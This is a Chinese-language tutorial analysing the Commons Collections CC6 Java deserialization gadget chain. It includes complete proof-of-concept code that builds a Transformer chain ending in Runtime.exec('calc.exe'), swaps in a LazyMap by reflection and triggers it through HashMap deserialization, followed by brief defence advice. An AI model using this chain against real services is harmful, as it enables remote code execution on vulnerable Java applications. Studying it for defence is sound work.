不删除"key"的CC6反序列化
字数 1227 2025-08-27 12:33:54
CC6反序列化漏洞分析与利用
概述
CC6是Commons Collections反序列化漏洞的一个变种,作为CC1的增强版,能够在更高版本的Java环境中使用。与CC1类似,CC6利用了相同的Transformer链,但替换了触发反序列化的入口点,使用HashMap类替代了CC1中的AnnotationInvocationHandler类。
核心利用链分析
关键类与方法
-
TiedMapEntry类
-
getValue()方法:public Object getValue() { return map.get(key); }这里
map字段调用了get方法,并以字段key作为参数。 -
hashCode()方法:public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }该方法调用了
getValue()来获取value值。
-
-
LazyMap类
- 与CC1相同,通过
get()方法触发Transformer链
- 与CC1相同,通过
-
HashMap类
- 在反序列化时会调用
hash()方法计算hash值 hash()方法会调用key对象的hashCode()方法
- 在反序列化时会调用
利用链构造
完整的利用链如下:
TiedMapEntry.hashCode()
→ TiedMapEntry.getValue()
→ LazyMap.get()
→ ChainTransformer.transform()
→ InvokerTransformer.transform()
漏洞利用步骤
1. 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
2. 创建LazyMap
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
3. 创建TiedMapEntry对象
为了避免在构造过程中就触发payload,先使用普通HashMap:
TiedMapEntry entry = new TiedMapEntry(new HashMap(), "sakut2");
4. 将entry放入HashMap
HashMap hashMap = new HashMap();
hashMap.put(entry, "sakut2");
5. 通过反射替换map字段
将TiedMapEntry中的map字段替换为恶意的lazyMap:
Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry, lazyMap);
6. 序列化与反序列化触发
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC6"));
oos.writeObject(hashMap);
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC6"));
ois.readObject();
技术细节解析
为什么使用HashMap作为入口点
- HashMap在反序列化时会调用
readObject方法 readObject方法中会调用hash()方法计算key的hash值hash()方法会调用key对象的hashCode()方法- 如果key是TiedMapEntry对象,就会触发其
hashCode()方法
避免提前触发的技巧
- 初始构造TiedMapEntry时使用普通HashMap而非LazyMap
- 在将entry放入HashMap后,再通过反射将map字段替换为LazyMap
- 这样在反序列化时才会真正触发恶意代码
完整利用代码
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
// 创建LazyMap
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 创建TiedMapEntry对象(初始使用普通HashMap)
TiedMapEntry entry = new TiedMapEntry(new HashMap(), "sakut2");
// 将entry放入HashMap
HashMap hashMap = new HashMap();
hashMap.put(entry, "sakut2");
// 通过反射替换map字段为LazyMap
Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry, lazyMap);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC6"));
oos.writeObject(hashMap);
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC6"));
ois.readObject();
}
与CC1的主要区别
-
触发类不同:
- CC1使用AnnotationInvocationHandler
- CC6使用HashMap
-
触发方法不同:
- CC1通过Proxy机制触发
- CC6通过HashMap的hashCode计算触发
-
兼容性:
- CC6在高版本Java中仍然可用
- CC1在某些Java版本中受限
防御建议
- 升级Commons Collections到安全版本
- 使用Java安全机制限制反序列化
- 对输入流进行严格过滤
- 使用白名单控制可反序列化的类
总结
CC6反序列化漏洞通过精心构造的TiedMapEntry和HashMap组合,利用Java反序列化机制触发恶意代码执行。与CC1相比,它采用了不同的触发路径,具有更好的兼容性。理解这一漏洞有助于开发者更好地防范类似的安全风险。